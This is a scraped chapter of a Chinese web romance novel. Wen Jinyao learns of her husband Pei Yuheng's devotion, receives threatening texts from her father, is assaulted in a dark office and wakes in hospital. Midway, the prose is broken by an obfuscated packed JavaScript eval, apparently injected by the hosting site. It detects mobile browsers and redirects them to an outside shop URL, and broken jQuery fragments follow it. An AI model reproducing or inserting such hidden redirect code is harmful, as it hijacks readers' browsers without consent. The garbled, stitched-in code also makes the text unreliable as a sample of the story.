38. 第 38 章
    温今遥差点被她吓疯了:“啊,不、不了吧……”

    沈靖舒笑不可抑:“你怎么这么可爱!逗你呢,跟裴聿珩抢人?你觉得我敢?明天天宫集团就得倾巢而出,去全北城的垃圾堆里扒拉我去。”

    温今遥被她逗得红了脸:“哎呀,沈小姐……你……”

    “你可以放心,”沈靖舒收了神通,认真道:“他在国外的时候一心向佛,哦不是,一心向学,没有过女人。眉来眼去的,露水情缘的,长相厮守的,统统都没有。”

    温今遥挑了挑眉,撇过脸嘴硬:“告诉我做什么……我又不……”

    嘴上这么说,唇边却悄悄长出了一片鲜嫩的笑意。

    这笑意像真的长在春风里,会传染似的,也引得沈靖舒勾起了唇。

    沈靖舒很想告诉她,裴聿珩在国外的时候是怎么强迫自己给她打了十七枚戒指,不到尽善尽美不算完;是怎么跟所有大胆追求他的女人都提起她的名字,搞得全校都知道裴聿珩有个求而不得的女神,叫温今遥;又是怎么苦熬过没有经济来源的头一年,不是朋友接济连饭都快吃不起了,却还是惦记着给她买一份根本送不出去的生日礼物。

    但裴聿珩说过,这些都是底牌,是撒手锏,不到万不得已,不会说给她听,又或许是这些承载了太多他的沉重,他不愿心爱的姑娘一同背负,所以宁愿将她蒙在鼓里。

    无论如何,沈靖舒都选择尊重好友的决定。

    她把自己早就签好的联动意向书塞到温今遥手里:“今遥,你们两个……都很幸运。如果可以,希望你可以好好对他。”

    ……

    从沈靖舒工作室出来,已经是华灯初上,辛勤劳作一整天的工蜂们正踏上回巢的旅程。

    温今遥原本也该汇入这往城郊的人流中,回她那个逼仄冷寂的出租屋里,可她进了地铁,望了望排着长队的回家方向,脚尖一转,却向反向的站门走去。

    反正回家也没有人在,家里暖气也烧得不热,何必呢,不如去回公司去蹭空调,她想着,而且意向书刚拿回来,应该尽快好好研读。

    原来住裴聿珩家里时,她可是一下班就往家跑的。

    今天的威禾也蛮怪,还不到九点,一整层楼竟然一个人也没有了,大家聚餐的聚餐,溜号的溜号,谁都不愿意在公司多待一分钟。

    也能理解,新年伊始就不要命地加班,怎么说都不太吉利。

    这正中温今遥的下怀。

    她踏进静谧的办公室,黑暗给了她一种隐匿的安全感,好似自己所有的想法和心事都可以在这里摊开来想,而不必担心被照亮、被发现。

    一盏小小的台灯被啪嗒按亮,在漆黑中投注了一片圆锥的轻薄光源。温今遥托腮坐在桌前,望着手里的意向书出神。

    原来裴聿珩说的都是真的,是她小人之心,以为人家处心积虑算计她,其实她身上到底有什么值得他算计的?

    她充其量是手里有一把苞谷,裴聿珩可是有良田万顷。

    所以她到底是真的介意他没有事事都跟自己讲实话,还是只是觉得愧对他,受不了这样每天白白享受他对自己的温柔和周全,给自己找了一个远离他的理由?

    温今遥弯了弯眼,想,他还跟他的朋友说起过我呢。

    如果小时候的事他真的不记得了,如果她真的能装傻一辈子,永远不提起,那是不是就可以当做没有发生过?

    要是他不知道真相,那么除了她自己,世界上知道真相的人就只有温全了,而他是最不会把这件事告诉裴聿珩的那个人。

    要真是这样,那不就稳了么,这件事会成为一个无人知晓的秘密,一直烂在她的心里,那她就可以假装无事发生,假装自己当之无愧。

    温今遥掏出手机,想给裴聿珩发条信息,手机却似有所感,先一步震动起来,紧接着屏幕上跳出了两条短信:

    爸:女儿,我知道你在哪。

    爸:我找到你了。

    看到这几个字的一瞬间,温今遥条件反射般地把手机扔了出去,然后短暂地失去了意识。

    短短两秒钟,不能呼吸,没有声音,没有光线,感受不到空调的暖风,什么都没有,世界一片虚无。

    五感回笼的那一刻,心脏在胸腔中疯狂搏动,似乎要冲破骨骼和肌肉的束缚,抛弃她这具肉身,远远地逃离这个恐怖的地方。

    但是这次,她不想逃了。

    她已经有了新的家人,他的名字和她的一起并排写在结婚证上,无论在她身上发生什么,裴聿珩都会以伴侣的身份与她一起承担。

    于是她捡回手机,深吸一口气,回了温全一条充满嘲讽的信息:“哟,还没死呢?”

    然后用最快的速度将那个号码拉黑了。

    一条信息几乎耗尽了她的体力,额头上都渗出细密汗珠,温今遥觉得黏腻得难受,便把所有灯都打开,起身去洗手间洗脸。

    刚刚坐着还不觉得,现在站起来,只觉得自己浑身无力,脚步虚浮。

    无人的楼道显得幽长空旷,她自己的脚步声在身后渐次铺开,声控灯开了节能,低低暗暗地亮在她头顶,青白的光泛着幽紫,犹如一张病态而紧盯不舍的脸。

    不知什么时候,身后的脚步声多了一道不甚明显的回声。

    起初温今遥以为是自己的错觉,但很快她便发现,不是的,那脚步声跟着她的速度,她快它也快,她慢它也慢,明显就是冲着她来的。

    像是在佐证她的恐惧,整层楼的声控灯忽然应声而灭!

    世界陷入彻底的黑暗,温今遥背后出了一层冷汗,她不再犹豫,撒腿就跑,想跑去洗手间,先把自己锁在隔间里,再打电话求救。

    可那人却没有给她这个机会,眼看着她要脱离掌控,他不再隐匿行迹,而是快步追上来,一把扣住温今遥的肩膀,另一只极为熟练地手捂住她的口鼻,拖着她就要往一片漆黑的楼梯间去!

    温今遥哪肯就范,不管不顾地乱踢乱打,可对方的手臂就像是铁钳似地钳住她,她身边连一件能用来防卫的工具都没有,只有手里紧紧捏着的手机,于是她疯狂连按锁屏键,直接把信息发给了她的紧急联系人。

    此刻的温今遥无比庆幸,在她领证的当天,她就本着赖上裴聿珩、要让他给自己负责的心态,第一时间把他添加成了紧急联系人。

    身后的人发现时,信息已经发出去了,他恼羞成怒,直接将温今遥的脑袋直直撞向旁边的消火栓箱上。

    玻璃在一阵灵魂出窍般的刺痛中应声而碎,温今遥昏迷之前听到的最后一个声音,是吴桓急切的脚步,和他将将喊出口的那句“夫人”。

    ……

    温今遥最先醒来的是嗅觉:浓重的消毒水气味,期间夹杂着很淡,但存在感极强的清净男香,她原本不知自己深处何处的惶恐,瞬间便被那一点香气熨烫抚平。

    第二个清醒的是耳朵。

    是一个鼻音浓重的男声:“……怎么处置我都没有异议。”

    然后是那一把她熟悉又陌生的声音:“共事一年,我让你自己选。”

    说熟悉,是因为她没睁开眼睛就知道这是裴聿珩;说陌生,是因为她从没听过裴聿珩这样的声音:沉抑、低落,还透着隐隐的疯狂。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019500|143701||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    选?选什么?

    记忆紧随着她的思考刹那回笼,温今遥后知后觉想起,她在公司被人打晕,昏迷前看到的是匆匆赶来的吴桓。

    答案太明显了——裴聿珩要开掉吴桓,念在他跟自己共事一年的份上,让他来选,是公司开除,还是自己辞职。

    刚丢方案那会儿,她也千头万绪地发愁过这个问题:是等公司开除,还是自己离职?

    这简直是打工人的顶级噩梦,温今遥瞬间就吓得睁开了眼睛。

    她垂死病中惊坐起,说的第一句话是:“别,别开除我的救命恩人!”

    裴聿珩见她一动,立刻倾身上来,问:“醒了?想不想吐,头还疼吗?”

    温今遥刚醒来,视线还在失焦,惶惑地盯了他半晌,才渐渐看清他爬满红色蛛网的眼睛。

    她一个没忍住,伸手摸了摸他稍稍冒了青色胡茬的下巴。

    细密刺麻的触感让她终于从走廊里那个离谱的梦境回到安全的现实,她在自己反应过来之前,先一撇嘴掉了泪:“他们要杀我……”

    裴聿珩眉心无法自控地一抽,低下头去吻她的手,好掩盖自己眼底喷薄而出的阴狠:“不会,不会的,谁都不能伤害你,我发誓。”

    温今遥哭得一抽一抽的:“你给我找个健身教练,这帮混蛋,我……”

    裴聿珩探身吻住了她的嘴唇。

    这是一个绵长而温然的吻,可他的唇瓣分明带着惶恐的颤抖。

    轻微的战栗在通过紧贴的双唇,不动声色地出卖了他极力掩饰的秘密——他在恐惧。

    裴聿珩从来觉得自己没什么可失去的,要遗失的东西,要离开的人,也都没有挽留的必要。

    但现在,他有了。

    温今遥昏迷的一天一夜里,险些失去的恐惧让他难以成眠,他甚至不敢去想象当时的场景,在吴桓对他汇报状况时屡屡打断,更无法抑制地去假设,如果不是他当时正好结束了一个会议,想要听听她的声音,才打开手机就收到她发来的求救短信和位置,如果不是他当机立断立刻联系吴桓,如果吴桓不是实在盯不住了,只去楼下买了杯咖啡……

    如果不是这些刚好全部叠加在一起,她身上会发生什么,他现在会是什么样子,裴聿珩根本连想都不敢想。

    可温今遥握紧了他冰凉的手,明明自己还在怕得掉眼泪,开口却还是在为吴桓说情:“是我自己临时回去加班的,看到一个人都没有,我就应该想到以前你叮嘱过我、让我当心的事,可是我全当耳旁风啦。所以这件事,我自己起码有一半的责任。”

    她一边劝慰裴聿珩,一边偷偷给垂头立在一边的吴桓使眼色:快求饶啊!台阶都给你递到脚边了你怎么都不知道下!

    吴桓看起来没有任何要辩解的意思,依然垂手而立,一片沉默。

    他确实无法原谅自己,温今遥的话甚至让他更愧疚。

    那杯咖啡他就非喝不可么?

    上次他在家门口空等两个小时都没蹲到人,最后也是夫人替他说情了。

    温今遥见他实在朽木不可雕,只好使出撒手锏,伸手环住裴聿珩的脖颈:“老公,我头疼……”

    这久违的两个字终于让裴聿珩眉心一松,可他的笑也是忧悒的:“你这样叫我,想要天上的星星,我也得摘给你。”

    “那你不要……”

    “开除他”三个字还未来得及出口,病房门口忽然传来一声质问:“你是谁?”

    所有人下意识转头向门口望去,只见李玉和于放手里提着水果和鲜花,眉毛扬得比天高:

    “裴总?你们?”